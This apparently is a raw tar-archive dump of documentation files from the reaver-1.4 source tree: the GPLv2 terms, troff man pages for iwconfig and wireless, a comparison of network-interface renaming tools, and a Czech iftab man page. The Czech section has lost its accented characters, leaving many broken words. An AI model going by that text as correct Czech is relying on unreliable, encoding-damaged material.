designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. reaver-1.4/src/lwe/iwconfig.80000755000175000017500000004374611705505257015500 0ustar reaverreaver.\" Jean II - HPLB - 1996 => HPL - 2004 .\" iwconfig.8 .\" .TH IWCONFIG 8 "30 March 2006" "wireless-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME iwconfig \- configure a wireless network interface .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .BI "iwconfig [" interface ] .br .BI "iwconfig " interface " [essid " X "] [nwid " N "] [mode " M "] [freq " F "] .br .BI " [channel " C ] [sens " S "] [ap " A "] [nick " NN ] .br .BI " [rate " R "] [rts " RT "] [frag " FT "] [txpower " T ] .br .BI " [enc " E "] [key " K "] [power " P "] [retry " R ] .br .BI " [modu " M "] [commit] .br .BI "iwconfig --help" .br .BI "iwconfig --version" .\" .\" DESCRIPTION part .\" .SH DESCRIPTION .B Iwconfig is similar to .IR ifconfig (8), but is dedicated to the wireless interfaces. It is used to set the parameters of the network interface which are specific to the wireless operation (for example : the frequency). .B Iwconfig may also be used to display those parameters, and the wireless statistics (extracted from .IR /proc/net/wireless ). .PP All these parameters and statistics are device dependent. Each driver will provide only some of them depending on hardware support, and the range of values may change. Please refer to the man page of each device for details. .\" .\" PARAMETER part .\" .SH PARAMETERS .TP .B essid Set the ESSID (or Network Name - in some products it may also be called Domain ID). The ESSID is used to identify cells which are part of the same virtual network. .br As opposed to the AP Address or NWID which define a single cell, the ESSID defines a group of cells connected via repeaters or infrastructure, where the user may roam transparently. .br With some cards, you may disable the ESSID checking (ESSID promiscuous) with .IR off " or " any " (and " on to reenable it). .br If the ESSID of your network is one of the special keywords .RI ( off ", " on " or " any ), you should use .I -- to escape it. .br .B Examples : .br .I " iwconfig eth0 essid any" .br .I " iwconfig eth0 essid ""My Network"" .br .I " iwconfig eth0 essid -- ""ANY"" .TP .BR nwid Set the Network ID. As all adjacent wireless networks share the same medium, this parameter is used to differentiate them (create logical colocated networks) and identify nodes belonging to the same cell. .br This parameter is only used for pre-802.11 hardware, the 802.11 protocol uses the ESSID and AP Address for this function. .br With some cards, you may disable the Network ID checking (NWID promiscuous) with .IR off " (and " on to reenable it). .br .B Examples : .br .I " iwconfig eth0 nwid AB34 .br .I " iwconfig eth0 nwid off" .TP .BR nick [name] Set the nickname, or the station name. Some 802.11 products do define it, but this is not used as far as the protocols (MAC, IP, TCP) are concerned and completely useless as far as configuration goes. Only some wireless diagnostic tools may use it. .br .B Example : .br .I " iwconfig eth0 nickname ""My Linux Node"" .TP .B mode Set the operating mode of the device, which depends on the network topology. The mode can be .I Ad-Hoc (network composed of only one cell and without Access Point), .I Managed (node connects to a network composed of many Access Points, with roaming), .I Master (the node is the synchronisation master or acts as an Access Point), .I Repeater (the node forwards packets between other wireless nodes), .I Secondary (the node acts as a backup master/repeater), .I Monitor (the node is not associated with any cell and passively monitor all packets on the frequency) or .IR Auto . .br .B Example : .br .I " iwconfig eth0 mode Managed" .br .I " iwconfig eth0 mode Ad-Hoc" .TP .BR freq / channel Set the operating frequency or channel in the device. A value below 1000 indicates a channel number, a value greater than 1000 is a frequency in Hz. You may append the suffix k, M or G to the value (for example, "2.46G" for 2.46 GHz frequency), or add enough '0'. .br Channels are usually numbered starting at 1, and you may use .IR iwlist (8) to get the total number of channels, list the available frequencies, and display the current frequency as a channel. Depending on regulations, some frequencies/channels may not be available. .br When using Managed mode, most often the Access Point dictates the channel and the driver may refuse the setting of the frequency. In Ad-Hoc mode, the frequency setting may only be used at initial cell creation, and may be ignored when joining an existing cell. .br You may also use .I off or .I auto to let the card pick up the best channel (when supported). .br .B Examples : .br .I " iwconfig eth0 freq 2422000000" .br .I " iwconfig eth0 freq 2.422G" .br .I " iwconfig eth0 channel 3" .br .I " iwconfig eth0 channel auto" .TP .B ap Force the card to register to the Access Point given by the address, if it is possible. This address is the cell identity of the Access Point, as reported by wireless scanning, which may be different from its network MAC address. If the wireless link is point to point, set the address of the other end of the link. If the link is ad-hoc, set the cell identity of the ad-hoc network. .br When the quality of the connection goes too low, the driver may revert back to automatic mode (the card selects the best Access Point in range). .br You may also use .I off to re-enable automatic mode without changing the current Access Point, or you may use .I any or .I auto to force the card to reassociate with the currently best Access Point. .br .B Example : .br .I " iwconfig eth0 ap 00:60:1D:01:23:45" .br .I " iwconfig eth0 ap any" .br .I " iwconfig eth0 ap off" .TP .BR rate / bit [rate] For cards supporting multiple bit rates, set the bit-rate in b/s. The bit-rate is the speed at which bits are transmitted over the medium, the user speed of the link is lower due to medium sharing and various overhead. .br You may append the suffix k, M or G to the value (decimal multiplier : 10^3, 10^6 and 10^9 b/s), or add enough '0'. Values below 1000 are card specific, usually an index in the bit-rate list. Use .I auto to select automatic bit-rate mode (fallback to lower rate on noisy channels), which is the default for most cards, and .I fixed to revert back to fixed setting. If you specify a bit-rate value and append .IR auto , the driver will use all bit-rates lower and equal than this value. .br .B Examples : .br .I " iwconfig eth0 rate 11M" .br .I " iwconfig eth0 rate auto" .br .I " iwconfig eth0 rate 5.5M auto" .TP .BR txpower For cards supporting multiple transmit powers, sets the transmit power in dBm. If .I W is the power in Watt, the power in dBm is .IR "P = 30 + 10.log(W)" . If the value is postfixed by .IR mW , it will be automatically converted to dBm. .br In addition, .IR on " and " off enable and disable the radio, and .IR auto " and " fixed enable and disable power control (if those features are available). .br .B Examples : .br .I " iwconfig eth0 txpower 15" .br .I " iwconfig eth0 txpower 30mW" .br .I " iwconfig eth0 txpower auto" .br .I " iwconfig eth0 txpower off" .TP .B sens Set the sensitivity threshold. This define how sensitive is the card to poor operating conditions (low signal, interference). Positive values are assumed to be the raw value used by the hardware or a percentage, negative values are assumed to be dBm. Depending on the hardware implementation, this parameter may control various functions. .br On modern cards, this parameter usually control handover/roaming threshold, the lowest signal level for which the hardware remains associated with the current Access Point. When the signal level goes below this threshold the card starts looking for a new/better Access Point. Some cards may use the number of missed beacons to trigger this. For high density of Access Points, a higher threshold make sure the card is always associated with the best AP, for low density of APs, a lower threshold minimise the number of failed handoffs. .br On more ancient card this parameter usually controls the defer threshold, the lowest signal level for which the hardware considers the channel busy. Signal levels above this threshold make the hardware inhibits its own transmission whereas signals weaker than this are ignored and the hardware is free to transmit. This is usually strongly linked to the receive threshold, the lowest signal level for which the hardware attempts packet reception. Proper setting of these thresholds prevent the card to waste time on background noise while still receiving weak transmissions. Modern designs seems to control those thresholds automatically. .br .br .B Example : .br .I " iwconfig eth0 sens -80" .br .I " iwconfig eth0 sens 2" .TP .BR retry Most cards have MAC retransmissions, and some allow to set the behaviour of the retry mechanism. .br To set the maximum number of retries, enter .IR "limit `value'" . This is an absolute value (without unit), and the default (when nothing is specified). To set the maximum length of time the MAC should retry, enter .IR "lifetime `value'" . By defaults, this value in in seconds, append the suffix m or u to specify values in milliseconds or microseconds. .br You can also add the .IR short ", " long ", " min " and " max modifiers. If the card supports automatic mode, they define the bounds of the limit or lifetime. Some other cards define different values depending on packet size, for example in 802.11 .I min limit is the short retry limit (non RTS/CTS packets). .br .B Examples : .br .I " iwconfig eth0 retry 16" .br .I " iwconfig eth0 retry lifetime 300m" .br .I " iwconfig eth0 retry short 12" .br .I " iwconfig eth0 retry min limit 8" .TP .BR rts [_threshold] RTS/CTS adds a handshake before each packet transmission to make sure that the channel is clear. This adds overhead, but increases performance in case of hidden nodes or a large number of active nodes. This parameter sets the size of the smallest packet for which the node sends RTS ; a value equal to the maximum packet size disables the mechanism. You may also set this parameter to .IR auto ", " fixed " or " off . .br .B Examples : .br .I " iwconfig eth0 rts 250" .br .I " iwconfig eth0 rts off" .TP .BR frag [mentation_threshold] Fragmentation allows to split an IP packet in a burst of smaller fragments transmitted on the medium. In most cases this adds overhead, but in a very noisy environment this reduces the error penalty and allow packets to get through interference bursts. This parameter sets the maximum fragment size which is always lower than the maximum packet size. .br This parameter may also control Frame Bursting available on some cards, the ability to send multiple IP packets together. This mechanism would be enabled if the fragment size is larger than the maximum packet size. .br You may also set this parameter to .IR auto ", " fixed " or " off . .br .B Examples : .br .I " iwconfig eth0 frag 512" .br .I " iwconfig eth0 frag off" .TP .BR key / enc [ryption] Used to manipulate encryption or scrambling keys and security mode. .br To set the current encryption key, just enter the key in hex digits as .IR XXXX-XXXX-XXXX-XXXX " or " XXXXXXXX . To set a key other than the current key, prepend or append .I [index] to the key itself (this won't change which is the active key). You can also enter the key as an ASCII string by using the .I s: prefix. Passphrase is currently not supported. .br To change which key is the currently active key, just enter .I [index] (without entering any key value). .br .IR off " and " on disable and reenable encryption. .br The security mode may be .I open or .IR restricted , and its meaning depends on the card used. With most cards, in .I open mode no authentication is used and the card may also accept non-encrypted sessions, whereas in .I restricted mode only encrypted sessions are accepted and the card will use authentication if available. .br If you need to set multiple keys, or set a key and change the active key, you need to use multiple .B key directives. Arguments can be put in any order, the last one will take precedence. .br .B Examples : .br .I " iwconfig eth0 key 0123-4567-89" .br .I " iwconfig eth0 key [3] 0123-4567-89" .br .I " iwconfig eth0 key s:password [2]" .br .I " iwconfig eth0 key [2]" .br .I " iwconfig eth0 key open" .br .I " iwconfig eth0 key off" .br .I " iwconfig eth0 key restricted [3] 0123456789" .br .I " iwconfig eth0 key 01-23 key 45-67 [4] key [4]" .TP .BR power Used to manipulate power management scheme parameters and mode. .br To set the period between wake ups, enter .IR "period `value'" . To set the timeout before going back to sleep, enter .IR "timeout `value'" . To set the generic level of power saving, enter .IR "saving `value'" . You can also add the .IR min " and " max modifiers. By default, those values are in seconds, append the suffix m or u to specify values in milliseconds or microseconds. Sometimes, those values are without units (number of beacon periods, dwell, percentage or similar). .br .IR off " and " on disable and reenable power management. Finally, you may set the power management mode to .I all (receive all packets), .I unicast (receive unicast packets only, discard multicast and broadcast) and .I multicast (receive multicast and broadcast only, discard unicast packets). .br .B Examples : .br .I " iwconfig eth0 power period 2" .br .I " iwconfig eth0 power 500m unicast" .br .I " iwconfig eth0 power timeout 300u all" .br .I " iwconfig eth0 power saving 3" .br .I " iwconfig eth0 power off" .br .I " iwconfig eth0 power min period 2 power max period 4" .TP .BR modu [lation] Force the card to use a specific set of modulations. Modern cards support various modulations, some which are standard, such as 802.11b or 802.11g, and some proprietary. This command force the card to only use the specific set of modulations listed on the command line. This can be used to fix interoperability issues. .br The list of available modulations depend on the card/driver and can be displayed using .IR "iwlist modulation" . Note that some card/driver may not be able to select each modulation listed independantly, some may come as a group. You may also set this parameter to .IR auto let the card/driver do its best. .br .B Examples : .br .I " iwconfig eth0 modu 11g" .br .I " iwconfig eth0 modu CCK OFDMa" .br .I " iwconfig eth0 modu auto" .TP .BR commit Some cards may not apply changes done through Wireless Extensions immediately (they may wait to aggregate the changes or apply it only when the card is brought up via .IR ifconfig ). This command (when available) forces the card to apply all pending changes. .br This is normally not needed, because the card will eventually apply the changes, but can be useful for debugging. .\" .\" DISPLAY part .\" .SH DISPLAY For each device which supports wireless extensions, .I iwconfig will display the name of the .B MAC protocol used (name of device for proprietary protocols), the .B ESSID (Network Name), the .BR NWID , the .B frequency (or channel), the .BR sensitivity , the .B mode of operation, the .B Access Point address, the .BR bit-rate , the .BR "RTS threshold" ", the " "fragmentation threshold" , the .B encryption key and the .B power management settings (depending on availability). .PP The parameters displayed have the same meaning and values as the parameters you can set, please refer to the previous part for a detailed explanation of them. .br Some parameters are only displayed in short/abbreviated form (such as encryption). You may use .IR iwlist (8) to get all the details. .br Some parameters have two modes (such as bitrate). If the value is prefixed by .RB ` = ', it means that the parameter is fixed and forced to that value, if it is prefixed by .RB ` : ', the parameter is in automatic mode and the current value is shown (and may change). .TP .BR "Access Point" / Cell An address equal to 00:00:00:00:00:00 means that the card failed to associate with an Access Point (most likely a configuration issue). The .B Access Point parameter will be shown as .B Cell in ad-hoc mode (for obvious reasons), but otherwise works the same. .PP If .I /proc/net/wireless exists, .I iwconfig will also display its content. Note that those values will depend on the driver and the hardware specifics, so you need to refer to your driver documentation for proper interpretation of those values. .TP .B Link quality Overall quality of the link. May be based on the level of contention or interference, the bit or frame error rate, how good the received signal is, some timing synchronisation, or other hardware metric. This is an aggregate value, and depends totally on the driver and hardware. .TP .B Signal level Received signal strength (RSSI - how strong the received signal is). May be arbitrary units or dBm, .I iwconfig uses driver meta information to interpret the raw value given by .I /proc/net/wireless and display the proper unit or maximum value (using 8 bit arithmetic). In .I Ad-Hoc mode, this may be undefined and you should use .IR iwspy . .TP .B Noise level Background noise level (when no packet is transmitted). Similar comments as for .BR "Signal level" . .TP .B Rx invalid nwid Number of packets received with a different NWID or ESSID. Used to detect configuration problems or adjacent network existence (on the same frequency). .TP .B Rx invalid crypt Number of packets that the hardware was unable to decrypt. This can be used to detect invalid encryption settings. .TP .B Rx invalid frag Number of packets for which the hardware was not able to properly re-assemble the link layer fragments (most likely one was missing). .TP .B Tx excessive retries Number of packets that the hardware failed to deliver. Most MAC protocols will retry the packet a number of times before giving up. .TP .B Invalid misc Other packets lost in relation with specific wireless operations. .TP .B Missed beacon Number of periodic beacons from the Cell or the Access Point we have missed. Beacons are sent at regular intervals to maintain the cell coordination, failure to receive them usually indicates that the card is out of range. .\" .\" AUTHOR part .\" .SH AUTHOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" FILES part .\" .SH FILES .I /proc/net/wireless .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR ifconfig (8), .BR iwspy (8), .BR iwlist (8), .BR iwevent (8), .BR iwpriv (8), .BR wireless (7). reaver-1.4/src/lwe/wireless.70000755000175000017500000000472011705505257015514 0ustar reaverreaver.\" Jean Tourrilhes - HPL - 2002 - 2004 .\" wireless.7 .\" .TH WIRELESS 7 "4 March 2004" "wireless-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME wireless \- Wireless Tools and Wireless Extensions .\" .\" SYNOPSIS part .\" .SH SYNOPSIS .B iwconfig .br .B iwpriv \-a .br .\" .\" DESCRIPTION part .\" .SH DESCRIPTION The .B Wireless Extensions is an API allowing you manipulate Wireless LAN networking interfaces. It is composed of a variety of tools and configuration files. It is documented in more detail in the Linux Wireless LAN Howto. .br The .B Wireless Tools are used to change the configuration of wireless LAN networking interfaces on the fly, to get their current configuration, to get statistics and diagnose them. They are described in their own man page, see below for references. .br .B Wireless configuration is specific to each Linux distribution. This man page will contain in the future the configuration procedure for a few common distributions. For the time being, check the file DISTRIBUTIONS.txt included with the Wireless Tools package. .\" .\" DEBIAN 3.0 part .\" .SH DEBIAN 3.0 In Debian 3.0 (and later) you can configure wireless LAN networking devices using the network configuration tool .BR ifupdown (8). .TP .B File : .I /etc/network/interfaces .TP .B Form : .RI wireless\- " " .br wireless\-essid Home .br wireless\-mode Ad\-Hoc .TP .B See also : .I /etc/network/if\-pre\-up.d/wireless\-tools .br .I /usr/share/doc/wireless\-tools/README.Debian .\" .\" SuSE 8.0 part .\" .SH SuSE 8.0 SuSE 8.0 (and later) has integrated wireless configuration in their network scripts. .TP .B Tool : .B Yast2 .TP .B File : .I /etc/sysconfig/network/wireless .br .I /etc/sysconfig/network/ifcfg\-* .TP .B Form : .RI WIRELESS_ "" = "" .br WIRELESS_ESSID="Home" .br WIRELESS_MODE=Ad\-Hoc .TP .B See also : man ifup .br info scpm .\" .\" PCMCIA part .\" .SH ORIGINAL PCMCIA SCRIPTS If you are using the original configuration scripts from the Pcmcia package, you can use this method. .TP .B File : .I /etc/pcmcia/wireless.opts .TP .B Form : *,*,*,*) .br ESSID="Home" .br MODE="Ad-Hoc" .br ;; .TP .B See also : .I /etc/pcmcia/wireless .br File .I PCMCIA.txt part of Wireless Tools package .\" .\" AUTHOR part .\" .SH AUTHOR Jean Tourrilhes \- jt@hpl.hp.com .br .I http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/ .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR iwconfig (8), .BR iwlist (8), .BR iwspy (8), .BR iwpriv (8), .BR iwevent (8). reaver-1.4/src/lwe/IFRENAME-VS-XXX.txt0000755000175000017500000001330211705505257016525 0ustar reaverreaver Network interface renaming comparison ------------------------------------- INTRODUCTION ------------ The Wireless Tools package includes 'ifrename', a tool to rename network interfaces. However, this is not the only solution to the problem of renaming network interfaces. This document explain the differences between ifrename and the various alternatives. The subject of interface renaming may look simple at first glance, and is simple in 95% of the cases, however there are many complex scenario and those tools have many features, which explain why we need to go in more details than just saying 'tool X is better'. NAMEIF ------ The tool 'nameif' was designed to rename network interfaces. It either loads mapping from the file /etc/mactab or accept mapping on the command line. It is part of the net-tools package : http://www.tazenda.demon.co.uk/phil/net-tools/ Advantages over 'ifrename' : + More widespread, available in very old distributions + simpler/smaller Drawbacks compared to 'ifrename' : - Only support MAC address selector - Does not support hotplug invocation - Does not support module on-demand loading Comments : o The fact that nameif does not support selector other than the MAC address is problematic, as USB-NET devices may not have MAC addresses and some ethernet/wireless drivers can't query the MAC address before 'ifconfig up'. o 'ifrename' was designed as a better 'nameif', and its concept is very similar. IPROUTE ------- The tool 'ip' can rename network interfaces with the following syntax : > ip link set name It is part of the 'iproute' package : http://developer.osdl.org/dev/iproute2/ Advantages over 'ifrename' : + integrated in 'iproute', which most people need anyway Drawbacks compared to 'ifrename' : - Do not support any selector, must use old interface name - No 'batch' mode, must rename each interface manually Comments : o 'ip' only provide the most basic facility. To use it automatically, like in init/hotplug scripts, wrappers adding some rules/selector must be written. DRIVER MODULE PARAMETERS ------------------------ Some network driver have module parameters enabling to specify the network name of all the devices created by the driver. This is driver specific, so you will need to check your driver. Advantages over 'ifrename' : + very simple to get configured and running Drawbacks compared to 'ifrename' : - Not universally supported : few drivers do it - Fragmented : each driver does it differently - The only selector available is the driver Comments : o This method was never popular with the kernel people, and this feature is being removed from driver that use to include it. UDEV ---- The package 'udev' include facility to rename network interfaces, with rules such as : KERNEL="eth*", SYSFS{address}="00:52:8b:d5:04:48", NAME="lan" This is part of the udev package : http://www.kernel.org/pub/linux/utils/kernel/hotplug/udev.html Advantages over 'ifrename' : + simpler to setup if 'udev' is already properly setup + automatically generates persistent rules Drawbacks compared to 'ifrename' : - Less selectors that 'ifrename' - Require kernel 2.6.X or later with sysfs support - Do no support non-hotplug interfaces - Require 'udev', not everybody uses it (static /dev, devfs) Comments : o 'udev' support many selectors, basically all those present in 'sysfs' (excluding symlinks), even if the documentation only show instructions to use the MAC address (which is problematic with virtual devices some drivers - see above). 'ifrename' can also use all selectors present in 'sysfs' (like 'udev'), can use sysfs symlinks and parent directories, plus some other selectors not present in sysfs that were found to be useful. o Not all interfaces are managed by hotplug. All virtual devices, such as tunnels and loopbacks, are not associated with a hardware bus, and therefore are not managed by hotplug. All driver compiled statically into the kernel are not managed by hotplug. 'udev' can't deal with those devices. o It is common practice on embedded system to use a static /dev and not 'udev' to save space and boot time. And to not use hotplug for the same reasons. o 'ifrename' has now a udev compatiblity mode that enables to trivially integrate it into 'udev' as an IMPORT rule. This requires udev version 107 or better and ifrename 29-pre17 or better. SELECTOR AWARE NETWORK SCRIPTS ------------------------------ Another method is to not rename the interface at all, and make the various network script selector aware. The basic idea is to simply ignore the interface name and have all the network scripts based on selectors. The main example is the original Pcmcia network scripts. They allow you to configure an interface directly based on MAC address and Pcmcia socket. Another example is the script get-mac-address.sh used as a mapping in some Debian configuration. On the other hand, Red-Hat and Fedora scripts don't apply, as they wrap around 'nameif'. Advantages over 'ifrename' : + usually simpler to setup and understand Drawbacks compared to 'ifrename' : - Less selectors that 'ifrename' - Only work for the scripts, other tools left confused Comments : o This method is conceptually simpler, and works well. It eliminates the two steps process of other methods (renaming ; configuring). o Unfortunately, this method only apply to the specific scripts, and not to the majority of the networking tools which are still based on interface name. This means that when the user use those other tools, he is left guessing which interface is which. o Distributions never never really embraced this method, as they all replaced the original Pcmcia scripts with one using the interfacename. Have fun... Jean reaver-1.4/src/lwe/cs/0000755000175000017500000000000011705505257014166 5ustar reaverreaverreaver-1.4/src/lwe/cs/iftab.50000755000175000017500000001246111705505257015350 0ustar reaverreaver.\" Jean II - HPL - 2004 .\" iftab.5 .\" .TH IFTAB 5 "1.bezen 2004" "wireless-tools" "Linux - Manul programtora" .\" .\" NAME part .\" .SH JMNO iftab \- statick informace o sovch rozhranch .\" .\" DESCRIPTION part .\" .SH POPIS Soubor .B /etc/iftab obsahuje popisnou informaci o rznch sovch rozhranch. .B iftab je pouvn pouze programem .IR ifrename (8) k piazen stlch nzv sovch rozhran kadmu sovmu rozhran. .PP .B /etc/iftab definuje sadu .IR namapovn . Kad namapovn obsahuje nzev rozhran a sadu deskriptor. Deskriptory umouj .B ifrename identifikovat kad sov rozhran v systmu. Pokud sov rozhran odpovd vem deskriptorm z namapovn, .B ifrename se pokus zmnit nzev rozhran na nzev uren v namapovn. .\" .\" MAPPINGS part .\" .SH NAMAPOVN Kad namapovn je popsno na zvltn dce, zanajc .IR "interface name" , (nzvem rozhran) a obsahuje sadu .IR deskriptor , oddlench mezerami nebo tabultory. .PP Vztah mezi deskriptory v namapovn je .IR "logick a" . Namapovn odpovd sovmu rozhran, pouze kdy odpovdaj vechny deskriptory. Pokud sov rozhran nepodporuje urit deskriptor, nebude vyhovovat dnmu namapovn pouvajcmu tento deskriptor. .PP Pokud je poteba pout alternativn deskriptory pro nzev rozhran (logick nebo), vytvote dv rzn namapovn se stejnm nzvem rozhran (na kadm dku jednu). .B Ifrename vdycky pouije prvn odpovdajc namapovn od .I konce .BR iftab , proto by restriktivnj namapovn mla bt uvedena naposled. .\" .\" INTERFACE NAME part .\" .SH NZEV ROZHRAN Prvn st kadho namapovn je nzev rozhran. Pokud sov rozhran odpovd vem deskriptorm v namapovn, .B ifrename se pokus zmnit nzev rozhran na nzev uren v namapovn. .PP Nzev rozhran v namapovn je buto pouh nzev rozhran (jako teba .IR eth2 " nebo " wlan0 ) nebo ablona obsahujc jedinho olka (wildcard) (nap. .IR eth* " nebo " wlan* ). V ppad olka nahrad jdro znak "*" za nejni dostupn cel slo, kter zajist jedinenost nzvu rozhran. .\" .\" DESCRIPTORS part .\" .SH DESKRIPTORY Kad deskriptor je sloen z nzvu deskriptoru a hodnoty deskriptoru. Deskriptory uruj statick vlastnosti sovho rozhran, jejich clem je jednoznan identifikovat kad kus hardware. .PP Vtina uivatel pouije pouze volbu .B mac , ostatn volby jsou ureny k zvltnm nastavenm. .TP .BI mac " MAC adresa" Porovn MAC adresu rozhran se zadanou MAC adresou. MAC adresu rozhran je mon zobrazit pomoc .IR ifconfig (8) nebo .IR ip (8). Zadan MAC adresa me obsahovat "*" pro vbr olk (wildcards). .br Je to nejbnj volba, protoe vtina rozhran m uniktn MAC adresu, kter umouje sov rozhran jednoznan identifikovat. Nicmn nkter rozhran nemaj MAC adresu, dokud nejsou aktivovna a v takovm ppad je uit tohoto selektoru oidn. .TP .BI arp " typ arp" Porovn typ ARP (ARP Type)(tak zvan "Link Type") rozhran se zadanm typem ARP. Typ ARP u rozhran je mon zobrazit pomoc .IR ifconfig (8) nebo .IR ip (8). .br Tento selektor je uiten pokud ovlada vytv vce sovch rozhran pro jedinou sovou kartu. .TP .BI driver " nzev ovladae" Porovn nzev ovladae rozhran se zadanm nzvem ovladae. Nzev ovladae rozhran je mon zobrazit pomoc .IR "ethtool -i" (8). .TP .BI businfo " informace o sbrnici" Porovn informaci o sbrnici rozhran rozhran se zadanou informac o sbrnici. Informaci o sbrnici rozhran je mon zobrazit pomoc .IR "ethtool -i" (8). .TP .BI firmware " verze firmware" Porovn verzi firmware rozhran s informac o verzi firmware. Revizi firmware rozhran je mon zobrazit pomoc .IR "ethtool -i" (8). .TP .BI baseaddress " port" Porovn port rozhran se zadanm portem. Port rozhran je mon zobrazit pomoc .IR ifconfig (8). .br Protoe vtina karet pouv dynamick pidlovn port, je tato volba uiten pouze pro ISA a EISA karty. .TP .BI irq " slo peruen" Porovn slo peruen (IRQ) rozhran se zadanm slem peruen. slo peruen rozhran je mon zobrazit pomoc .IR 